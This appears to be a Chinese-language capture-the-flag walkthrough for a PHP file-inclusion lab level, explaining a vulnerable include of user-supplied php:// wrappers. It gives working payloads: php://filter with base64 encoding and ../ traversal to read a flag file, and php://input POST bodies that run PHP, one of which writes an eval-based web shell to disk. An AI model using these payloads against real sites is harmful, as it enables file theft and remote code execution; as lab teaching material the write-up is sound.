由于Level 6-9 关的原理都是通用的, 这里就拿第6关举例, 其他的关卡同理
源码分析
-
定位到代码
isset($_GET['wrappers']) ? include("php://".$_GET['wrappers']) : '';
-
与前几关发生变化的就是
php://
解题分析
-
这一关要求我们使用
php协议
-
php:// 协议
-
php://filter
-
参数
-
过滤器
-
-
示例
-
index.php?file1=php://filter/read=convert.base64-encode/resource=flag.php
-
-
-
php://input
-
依赖
allow_url_include:On
-
可以访问请求的原始数据的只读流,将 POST 请求的数据当作 php 代码执行
-
http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?phpfputs(fopen('a.php','w'), <?php @eval($ GET[cmd]); ?>'); ?>
-
可以用于直接传入文件内容, 而不是文件名
-
-
-
看完上述对
php协议
的介绍应该有解题思路吧, 下文通过两种方式演示一下
解题步骤
php://filter
-
因为题目已经加上了
php://
, Payload 就不需要再写了 -
php://
后面跟上filter/read=
- 使用
read
读取文件
- 使用
-
read=
后面跟上过滤器convert.base64-encode
-
将结果进行 base64编码
-
这里是可以防止被过滤, 或者要输出PHP文件等情况, 这一题当然可以不使用
-
-
接着在
convert.base64-encode
跟上/resource=../../../../../../flag
(如果不是用过滤器的话, 直接在read=
后面跟上)- 这里通过
../
的叠加, 强行回到根目录, 方便后续进行路径访问
- 这里通过
-
完整 Payload
-
?wrappers=filter/read=/resource=../../../../../../../flag
-
-
php://input
-
这里是把 POST 请求数据当成 PHP 代码执行
-
在 GET 传参中, 只需要传入
input
即可, 因为题目已经有了php://
-
接着 POST 请求传入要执行的代码
-
<?php system("cat /flag"); ?>'); ?>
-
-